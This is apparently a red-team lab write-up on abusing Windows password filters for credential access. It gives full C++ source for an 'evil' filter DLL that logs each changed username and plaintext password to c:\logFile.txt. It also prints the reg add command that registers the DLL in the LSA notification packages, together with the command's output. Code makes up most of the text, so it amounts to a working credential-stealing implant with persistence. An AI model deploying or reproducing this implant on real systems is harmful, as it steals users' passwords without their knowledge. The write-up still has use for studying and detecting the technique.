Password Filter

Credential Access

This lab explores a native OS notification of when the user account password gets changed, which is responsible for validating it. That, of course means, that the password can be intercepted and logged.

Execution

Password filters are registered in registry and we can see them here:

attacker@victim

reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages"

Or via regedit:

Building an evil filter DLL based on a great article by mubix. He has also kindly provided the code to use, which I modified slightly to make sure that the critical DLL functions were exported correctly in order for this technique to work, since mubix's code did not work for me out of the box. I also had to change the logging statements in order to rectify a couple of compiler issues:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;

void writeToLog(const char* szString)
{
	FILE *pFile;
	fopen_s(&pFile, "c:\\logFile.txt", "a+");

	if (NULL == pFile)
	{
		return;
	}
	fprintf(pFile, "%s\r\n", szString);
	fclose(pFile);
	return;

}

extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify(void)
{
	OutputDebugString(L"InitializeChangeNotify");
	writeToLog("InitializeChangeNotify()");
	return TRUE;
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
	PUNICODE_STRING AccountName,
	PUNICODE_STRING FullName,
	PUNICODE_STRING Password,
	BOOLEAN SetOperation)
{
	OutputDebugString(L"PasswordFilter");
	return TRUE;
}

extern "C" __declspec(dllexport) NTSTATUS __stdcall PasswordChangeNotify(
	PUNICODE_STRING UserName,
	ULONG RelativeId,
	PUNICODE_STRING NewPassword)
{
	FILE *pFile;
	fopen_s(&pFile, "c:\\logFile.txt", "a+");

	OutputDebugString(L"PasswordChangeNotify");
	if (NULL == pFile)
	{
		return true;
	}
	fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer, NewPassword->Buffer);
	fclose(pFile);
	return 0;
}

Injecting the evil password filter into the victim system:

attacker@victim

reg add "hklm\system\currentcontrolset\control\lsa" /v "notification packages" /d scecli\0evilpwfilter /t reg_multi_sz

Value notification packages exists, overwrite(Yes/No)? yes
The operation completed successfully.